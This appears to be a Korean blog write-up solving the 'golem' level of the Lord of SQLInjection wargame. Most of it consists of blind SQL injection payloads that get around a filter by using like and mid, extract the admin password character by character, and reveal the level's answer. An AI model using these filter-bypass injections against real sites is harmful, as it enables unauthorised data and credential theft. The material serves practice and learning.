⠀
golem 본문

$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
소스코드를 보니 id가 ‘admin’인 pw의 값을 맞혀야 해당 문제를 통과할 수 있다.
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
지난 문제 orge와 유사하지만, 이 문제는 orge를 풀기위해 사용했던 substr과 = 기호가 추가적으로 필터링 되고 있다.
* 여기서 = 기호는 like 연산자로 우회 가능하다.

참인 값인 ?pw=’||id like ‘admin’%26%26‘1’ like ‘1’%23을 입력했을 때, Hello admin 이라는 문구가 뜨는 것을 확인할 수 있다.

거짓 값인 ?pw=’||id like ‘admin’%26%26‘1’ like ‘2’%23을 입력했을 때는 아무 문구도 안 뜨는 것을 확인할 수 있다.
참과 거짓일 때 나오는 결과가 다르다는 점을 이용하여 블라인드 인젝션을 통해 pw를 알아낸다.
[풀이 과정]

pw의 길이를 알기 위해 인자로 주어진 문자열의 길이를 구하는 length 함수를 이용한다.
?pw=’||id like ‘admin’%26%26length(pw) like ‘8'%23 입력 -> Hello admin문구 확인
pw의 길이는 8이라는 것을 알 수 있다.

* 앞서 언급했듯이 substr이 필터링 되고 있다. substr함수 대신 동일한 기능을 가진 mid 함수를 사용한다.
mid 함수 - 정해진 문자를 특정 자릿수만큼 잘라내는 기능을 가진 함수이다. 예를 들어 mid(a,b,c)가 의미하는 바는 a문자열을 b부터 c개만큼 잘라낸다.
ascii 함수 - 문자를 ascii코드로 변환한다. 이 점을 이용하여 >,<,= 연산을 할 수 있다.
하지만, 이 소스코드는 = 기호를 필터링 하고 있기 때문에 = 기호 대신 like 연산자를 활용한다.
?pw=’||id like ‘admin’%26%26ascii(mid(pw,1,1))<__%23 → __빈칸에 숫자를 바꿔가며 Hello admin문구가 안 나올 때까지 반복한다.

pw 첫 번째 문자의 아스키코드 값이 55보다 작다는 문구를 넣었을 때 처음으로 아무 문구도 출력되지 않았다.

?pw=’||id like ‘admin’%26%26ascii(mid(pw,1,1)) like ‘55’%23 입력
pw의 첫 번째 문자는 아스키코드 값 55인 7이다.
반복하여 8자리를 다 찾아낸다.

pw의 두 번째 문자는 아스키코드 값 55인 7이다.
pw=77

pw의 세 번째 문자는 아스키코드 값 100인 d이다.
pw=77d

pw의 네 번째 문자는 아스키코드 값 54인 6이다.
pw=77d6

pw의 다섯 번째 문자는 아스키코드 값 50인 2이다.
pw=77d62

pw의 여섯 번째 문자는 아스키코드 값 57인 9이다.
pw=77d629

pw의 일곱 번째 문자는 아스키코드 값 48인 0이다.
pw=77d6290

pw의 여덟 번째 문자는 아스키코드 값 98인 b이다.
pw=77d6290b

정답: ?pw=77d6290b
'워게임 문제풀이 > Lord of SQLInjection' 카테고리의 다른 글
darkknight (0) | 2022.09.05 |
---|---|
skeleton (0) | 2022.09.05 |
vampire (0) | 2022.09.05 |
troll (0) | 2022.09.05 |
orge (0) | 2022.09.05 |